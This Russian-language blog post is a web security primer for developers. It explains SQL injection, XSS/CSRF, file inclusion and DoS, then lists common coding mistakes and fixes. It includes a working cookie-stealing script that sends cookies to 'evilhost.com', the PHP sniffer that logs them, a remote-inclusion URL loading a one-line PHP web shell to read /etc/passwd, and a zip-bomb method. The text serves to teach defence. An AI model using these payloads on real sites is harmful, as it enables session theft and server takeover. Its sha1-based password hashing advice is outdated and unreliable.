Web-безопасность последние годы остается в тренде. Все больше новостей мы можем слышать о взломе сайтов крупных финансовых компаний, ИТ-гигантов рынка таких как Sony, и даже сайтов ведомств США. Однако, что бы разбираться в web-безопасности нужно по мимо теории ИБ не плохо разбираться еще и в клиент-серверном взаимодействии, знать несколько общепринятых языков программирования и отлично понимать работу различных баз данных. Конечно, нужно помнить, что часто взломы становятся не только благодаря стараниям злоумышленников, но и в виду возникновения некоторых недекларированных возможностей ПО или не преднамеренно допущенных ошибок при написании софта. О чем очень кратко мы и поговорим в сегодняшней публикации.
Введение в теорию
Для начала немного о SQL инъекциях, XSS/CSRF, RFI/LFI
- SQL inj — SQL инъекция, выполнение несанкционированных запросов
- XSS/CSRF — внедрение произвольного JS кода/скрипта в страницу. XSS — Cross Site Scripting (первая буква в аббревиатуре «X» чтобы не было путаницы с CSS (стилями). CSRF — выполнение произвольных действий в браузере пользователя
- RFI/LFI — Remote/Local file inclusion. Использование удаленных («извне»)/локальных файлов в своих целях
- DoS — Denial Of Service. «Умный» вывод ресурса из строя (в отличии от DDoS). Данная атака производится при возможности выполнения «долгих» запросов или длительном выполнении кода.
Для того, чтобы знать, как защищать — надо знать, как взламывают ;]
1. SQL инъекции
Очень много разработчиков слышали о ней, знают, что надо использовать prepare в своих фреймворках, функции escape для специальных символов перед выполнением запроса. Это все конечно хорошо, но мало кто знает об их возможностях и как провести инъекцию на практике. Сейчас мы это упущение частично ликвидируем, если оно у вас есть.
Идея проста. Вместо вашего запроса выполняется еще один, или меняются параметры задуманного.
Логично, что -1 записи не существует. Поэтому для каждого столбца таблицы у нас будут значения 1..11 и некоторые из этих значений мы получим в браузере (количество возвращаемых значений в union должно соответствовать количеству столбцов в первом запросе). Получить информацию о текущем подключении не составит проблем, вместо тех чисел, что у нас видны на странице, подставляем функции нашего сервера БД в GET запрос.
На примере MySQL (а не «мускулом» одним едины) получаем
И мы получили ожидаемое.
Однажды у Positive Technologies я встретил очень полезную страничку с таблицей различия SQL инъекций (см. ниже)
2. DoS. Разберем пример, где фильтруется входящий параметр для запроса, но где применима DoS атака
<?php
$limit = (int)$_GET['limit'];
$rows = mysql_query("select * from table limit 0,".$limit);
?>
Вроде бы явное приведение типов, в чем подвох? А если у нас 100 тысяч записей в этой таблице :]? Пробуем script.php?limit=_большое_число_ и получаем DoS ресурса. Часто применимо в скриптах, где ограничивается количество записей (обычно юзеру дают 5,25,50,100 записей). Злоумышленнику не составит труда подменить это значение, поэтому лучше использовать case/switch при реализации подобного функционала.
Хотел упомянуть о file_priv, который обеспечит возможность работать с файлами на ресурсе через SQL запросы.
Но все же в первую очередь sql инъекции это произвольное выполнение запросов (insert, replace, update, drop...)
3. XSS/CSRF
HTML инъекции принято делить на 2 вида.
Активные — html/js код сохраняется в базу и выполняется при каждом его выводе из базы (к примеру пост на форуме, данные профиля и т. д.)
Пассивные — html/js код выполняется непосредственно при обращении к скрипту с заранее сформированными параметрами. Примером может служить форма поиска на ресурсе, когда после заполнения ее html кодом он будет внедрен в результаты поиска.
Не стоит недооценивать подобные инъекции. На alert() они обычно не заканчиваются, это лишь начало.
Если у вас к примеру где-то при написании поста не фильтруется html, то вот пример «угона» cookies (я привожу пример «топорной» конструкции умышленно, тут не рассказ о тонкостях сокрытия xss). Постим сообщение вида:
<script>
var url = '<img src = "http://evilhost.com/sniffer.php?cookie=' + document.cookie + '">';
document.write(url);
</script>
Так как у нас подразумевалась активная XSS, то теперь, после того как пост попал в базу и после того, как любой пользователь (или админ) откроет наше сообщение — наш сниффер сохранит его cookies :] Т.е. sniffer.php имеет подобное содержание:
<?php
if (isset($_GET['cookie']))
{
$text = "New cookie accept from ". $_SERVER['REMOTE_ADDR'] ." at ". date('l jS \of F Y h:i:s A');
$text .= "\n".str_repeat("=", 22) . "\n" . $_GET['cookie']."\n".str_repeat("=", 22)."\n";
$file = fopen("sniff.txt", "a");
fwrite($file, $text);
fclose($file);
}
?>
Далее дело техники.
Сюда же CSRF — это атака, которая выполнит определенные действия в браузере пользователя. К примеру — добавит админа, переведет куда-либо деньги и т.п Для этого конечно нужно знать структуру страницы, чтобы переключаться по элементам и выполнять действия. CSRF очень часто используют вирусы.
Но и на этом все не заканчивается :) существует не один метод проведения XSS атаки. Есть и base64, и фишка с utf7, и XSS в изображениях/флэш файлах. Есть очень много статей на эту тему, но идея остается одна — внедрение кода в страницу.
4. RFI/LFI
Не так часто встречаются, но имеют место быть. Пример уязвимого кода:
<?php
$module = $_GET['module'];
include($module);
?>
Наглядный пример файловой инъекции. Как применить?
http://server.com/somescript.php?module=http://evilhost.com/phpshell.txt&c=cat+/etc/passwd
Где файл phpshell.txt будет иметь подобное содержание
<?php echo @`$_GET[c]` ?>
Ну или такое
<?=@`$c`?>
(by Raz0r, 2008 год)
Во втором варианте нужны включенные short_open_tag и register_globals
И мы получим произвольное выполнение команд на сервере с правами веб-сервера.
Иногда подобным кодом протроянивают форумы (PHPBB как пример) и не всегда можно заметить такую строчку как опасную в шаблоне (в PHPBB есть опция включения выполнения PHP в шаблонах).
На этом краткий ликбез окончен, но это лишь основы. Есть способы обхода «попыток защит». Такие фичи как magic_quotes, addslashes, WAF не являются панацеей. А хуже всего, когда сами функции языка — уязвимы (к примеру проблемы с мультибайтовыми кодировками, подключением файлов в PHP 5.2)
Наиболее частые ошибки программирования
1. Debug на production
Ничего хорошего в этом нет, даже если вам это удобно. Такие директивы как error_reporting, debug (django) должны быть настроены соответствующим образом. Взлом упрощается, когда мы имеем дело уже не вслепую, когда хакер может раскрыть полный путь до веб директории, чтобы в будущем к примеру использовать при sql inj (в данном случае я про file_priv). Поэтому никаких ошибок серверного ПО, интерпретаторов конченому конечному пользователю не надо показывать. А в коде лучшим способ будут конструкции:
if ($something) someFunction()
else
{
echo "Сообщение об ошибке пользователю";
writeLog(...); //записать в лог событие
}
Туда же и 404 и подобные ошибки. Следует использовать свой вид этих страниц, а не от сервера. Да и это плюс не только в плане безопасности, а общего пользования.
2. Directory indexing
Настраивайте сервер соответствующим образом, запрещайте это в .htaccess, в конце концов пусть у вас присутствуют пустые index файлы в директориях, где не должен быть доступен листинг директории.
.htaccess мог бы и «спасти» от недавней уязвимости нулевого дня в расширении для WordPress
3. XSS
Про возможности данного вида атак я уже рассказал выше. Все, что принимаете от пользователя (в том числе и в админ панели) надо фильтровать. Помогают в этом функции как htmlentities, striptags. Или escape символов в шаблонизаторах (Smarty).
4. SQL инъекции
Нужно использовать функционал, предоставляемый фреймворком, и ни в коем случае не использовать конкатенацию с входными параметрами (тем более — без фильтрации)! mysql_real_escape_string, prepare всегда должны быть с вами!
5. File Upload
К этому надо вообще относиться со всей серьезностью. Проверки расширения файла путем сравнения строк недостаточно, нужно также проверять MIME тип файла. Перед написанием модуля, использующего загрузку файлов представьте себе, что каждый пользователь, кто им будет пользоваться — хакер и у него будет только одна мысль, как через ваш модуль загрузить шелл.
А если вы надумали вызывать программы для загруженного файла (будь то его конвертация, или распаковка архива) — тут тоже очень тонкий момент со спец. символами в файлах, которые могут привести к DoS ресурса. Я сейчас об очень популярном методе атаки файловых хостингов, которые проверяют загруженные файлы на вирусы.
Атака сводится к тому, что генерируется файл с «/0» содержимым на несколько гигабайт, запаковывается в архив (в итоге он весит несколько Кб) и загружается на файлообменник. После загрузки файл распаковывается, а что дальше — стоит только догадываться :)
6. RFI/LFI
Выше я уже частично описал реализацию данной атаки и методы фильтрации. Прежде чем что-то подключить, в зависимости от входящих данных — нужно провести валидацию. Обычно при использовании достойных фреймворков этой проблемы не возникает.
.htaccess, индексные файлы, настройка PHP
Немного повторюсь, но: запрещаем все ненужное в папках, не допускаем индексацию директорий, отказываемся от register_globals и подобных, «не рекомендуемых» опций PHP.
7. Общий момент, репо-файлы.
.svn в корне при экспорте репозитория хранит исходные файлы. Так был «хакнут весь интернет». Занятное чтиво как были получены исходники 3300 глобальных интернет-проектов
Фильтруйте все входящие параметры (не забывайте про cookies!), учитывайте возможные алгоритмы выполнения ваших скриптов, настраивайте соответствующим образом права (chmod, привилегии пользователей БД, .htaccess), задумайтесь о безопасном выполнении вашего очередного коммита перед отправкой и продукт должен стать еще лучше!
Про криптостойкость. Если используете хэширование — то лучше sha1 (против md5), а еще к нему добавлять «соль».
$hash = sha1($username.':'.$password);Всем удачи и стойких серверов!:)
Комментариев нет:
Отправить комментарий
Вы можете добавить свой комментарий...
Примечание. Отправлять комментарии могут только участники этого блога.